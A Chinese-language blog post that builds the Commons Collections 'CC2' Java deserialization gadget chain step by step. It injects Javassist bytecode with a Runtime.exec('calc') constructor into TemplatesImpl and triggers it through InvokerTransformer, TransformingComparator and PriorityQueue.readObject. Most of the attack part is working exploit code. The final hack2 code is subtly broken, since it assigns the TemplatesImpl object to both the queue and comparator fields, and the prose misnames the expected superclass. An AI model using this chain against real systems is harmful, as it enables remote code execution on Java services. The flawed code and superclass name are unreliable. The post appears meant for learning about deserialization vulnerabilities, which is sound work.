cc2链调用

UWI Lv3

需要引入

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>

动态创建类

这是我让ai写的一个动态创建类的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import javassist.*;

public class DynamicClassCreator {
public static void main(String[] args) throws Exception {
// 获取 ClassPool
ClassPool pool = ClassPool.getDefault();

// 创建一个新类
CtClass ctClass = pool.makeClass("com.example.DynamicPerson");

// 添加私有属性
CtField nameField = new CtField(pool.get("java.lang.String"), "name", ctClass);
nameField.setModifiers(Modifier.PRIVATE);
ctClass.addField(nameField);

CtField ageField = new CtField(CtClass.intType, "age", ctClass);
ageField.setModifiers(Modifier.PRIVATE);
ctClass.addField(ageField);

// 添加无参构造方法
CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass);
noArgConstructor.setBody("{ this.name = \"Unknown\"; this.age = 0; }");
ctClass.addConstructor(noArgConstructor);

// 添加带参构造方法
CtClass[] params = new CtClass[] { pool.get("java.lang.String"), CtClass.intType };
CtConstructor fullConstructor = new CtConstructor(params, ctClass);
fullConstructor.setBody("{ this.name = $1; this.age = $2; }");
ctClass.addConstructor(fullConstructor);

// 添加getter和setter方法
ctClass.addMethod(CtNewMethod.getter("getName", nameField));
ctClass.addMethod(CtNewMethod.setter("setName", nameField));
ctClass.addMethod(CtNewMethod.getter("getAge", ageField));
ctClass.addMethod(CtNewMethod.setter("setAge", ageField));

// 添加自定义方法
CtMethod introduceMethod = new CtMethod(CtClass.voidType, "introduce", new CtClass[0], ctClass);
introduceMethod.setModifiers(Modifier.PUBLIC);
introduceMethod.setBody("{ System.out.println(\"Hello, my name is \" + name + \" and I'm \" + age + \" years old.\"); }");
ctClass.addMethod(introduceMethod);

// 生成类文件
ctClass.writeFile("./target/classes");

// 加载并使用动态创建的类
Class<?> clazz = ctClass.toClass();
Object person = clazz.getConstructor(String.class, int.class)
.newInstance("Alice", 30);

// 调用方法
clazz.getMethod("introduce").invoke(person);
}
}




那么我现在来写一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public class cc2 {
@Test
public void hack1() throws CannotCompileException, IOException, NotFoundException {

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("hacker");
CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass);
noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
ctClass.addConstructor(noArgConstructor);
ctClass.writeFile();

}
}

运行这段代码我们就可以看到在当前目录下生成了一个hacker的classes文件

image-20250816161045138

我们反编译看看内容

image-20250816161101489

定义了一个hacker类 构造方法调用计算机

好了这是前置知识

接下来我们看看链子是咋构造的

我们先看看TemplatesImpl 类的getTransletInstance方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

image-20250816161258902

这段代码中如果 实例化的使我们刚刚自己构造出来的hacker类不就能造成rce了么

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

我们具体看看要怎么达成这个条件

条件1.

1
_name 不等于 null

接下来我们看看defineTransletClasses 这个方法具体干了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

首先

条件2:

1
_bytecodes 不等于 null

这样才能才不会报错,接着往下看

可以看到实例化了一个匿名类 loader

image-20250816161803022

然后加载了class代码成为Class对象

image-20250816162224266

同时他还会提取一个superClass 也就是这个class的父类class 并比较这个父类是否是jdk.xml.enableTemplatesImplDeserialization

如果不是的话不会设置_transletIndex = i;

image-20250816162537985

image-20250816162555676

所以我们有了

条件3:

1
superClass.getName().equals(ABSTRACT_TRANSLET)

回到匿名类的run方法

观察到_tfactory 默认是个null所以当调用_tfactory.getExternalExtensionsMap() 时会出先报错 所以我们还得反射重新设置一下他

image-20250816172708759

image-20250816172727210

条件4:

1
tfactory 不是 null

回到getTransletInstance方法

image-20250816162801731

在调用完了defineTransletClasses 方法后就会进行实例化

那么现在我们尝试构造一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@Test
public void hack1() throws CannotCompileException, IOException, NotFoundException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("hacker");
CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass);
noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
ctClass.addConstructor(noArgConstructor);

//满足条件3
CtClass ancestor = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(ancestor);

byte[] bytecode = ctClass.toBytecode();


//满足条件1
Class<? extends TemplatesImpl> clazz = TemplatesImpl.class;
TemplatesImpl ob = clazz.newInstance();
Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(ob, "test");
//满足条件2
Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(ob, new byte[][]{bytecode}); // 必须是二维数组

//满足条件4
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(ob, transformerFactory);


Method transform = clazz.getDeclaredMethod("newTransformer");
transform.setAccessible(true);
transform.invoke(ob);


}

image-20250816172947683

成功调用计算器

引入InvokerTransformer

那么我们就要找找在哪里会调用newTransformer这个方法

我们自然而然可以想到InvokerTransformer来调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("hacker");
CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass);
noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
ctClass.addConstructor(noArgConstructor);

//满足条件3
CtClass ancestor = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(ancestor);

byte[] bytecode = ctClass.toBytecode();


//满足条件1
Class<? extends TemplatesImpl> clazz = TemplatesImpl.class;
TemplatesImpl ob = clazz.newInstance();
Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(ob, "test");
//满足条件2
Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(ob, new byte[][]{bytecode}); // 必须是二维数组

//满足条件4
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(ob, transformerFactory);


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
invokerTransformer.transform(ob);

image-20250816173751003

然后找找哪里会调用transform方法

TransformingComparator里的compare 有调用

image-20250816174335351

并且this.transformer 是可控的

image-20250816174348644

所以进一步构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("hacker");
CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass);
noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
ctClass.addConstructor(noArgConstructor);

//满足条件3
CtClass ancestor = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(ancestor);

byte[] bytecode = ctClass.toBytecode();


//满足条件1
Class<? extends TemplatesImpl> clazz = TemplatesImpl.class;
TemplatesImpl ob = clazz.newInstance();
Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(ob, "test");
//满足条件2
Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(ob, new byte[][]{bytecode}); // 必须是二维数组

//满足条件4
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(ob, transformerFactory);


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);


TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
transformingComparator.compare(ob, '1');

image-20250816174610775

利用PriorityQueue 的readobject

找找哪里调用了compare方法

在PriorityQueue 类中就有调用compare的方法

我们看看他的readobject方法 调用了heapify

image-20250816180147388

跟进heapify 方法 调用了siftDown方法

image-20250816180224553

跟进siftDown 方法 这里我们能反射设置他的comparator 所以 comparator不为null 所以 会调用siftDownUsingComparator

image-20250816180254049

跟进siftDownUsingComparator方法 最终调用了compare方法

image-20250816180446040

所以我们最终能构造出链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
@Test
public void hack2() throws CannotCompileException, IOException, NotFoundException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("hacker");
CtConstructor noArgConstructor = new CtConstructor(new CtClass[0], ctClass);
noArgConstructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
ctClass.addConstructor(noArgConstructor);

//满足条件3
CtClass ancestor = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(ancestor);

byte[] bytecode = ctClass.toBytecode();


//满足条件1
Class<? extends TemplatesImpl> clazz = TemplatesImpl.class;
TemplatesImpl ob = clazz.newInstance();
Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(ob, "test");
//满足条件2
Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(ob, new byte[][]{bytecode}); // 必须是二维数组

//满足条件4
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(ob, transformerFactory);


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);


TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
transformingComparator.compare(ob, '1');


PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值,后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);

Object[] objects = new Object[]{ob, ob};
Class< ?> clazz1 = Class.forName("java.util.PriorityQueue");
Field _queue = clazz1.getDeclaredField("queue");
_queue.setAccessible(true);
_queue.set(priorityQueue, ob);

Field comparator = clazz1.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, ob);

SerializationUtils.serializeToFile(priorityQueue);
SerializationUtils.deserializeFromFile("ser.bin");


}

调用逻辑

1
2
3
4
5
6
7
8
->PriorityQueue.readObject()
->PriorityQueue.heapify()
->PriorityQueue.siftDown()
->PriorityQueue.siftDownUsingComparator()
->TransformingComparator.compare()
->InvokerTransformer.transform()
->TemplatesImpl.newTransformer()
->…………
  • Title: cc2链调用
  • Author: UWI
  • Created at : 2025-08-15 08:49:48
  • Updated at : 2025-08-16 18:17:10
  • Link: https://nbwsws.github.io/2025/08/15/代码审计/cc2/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments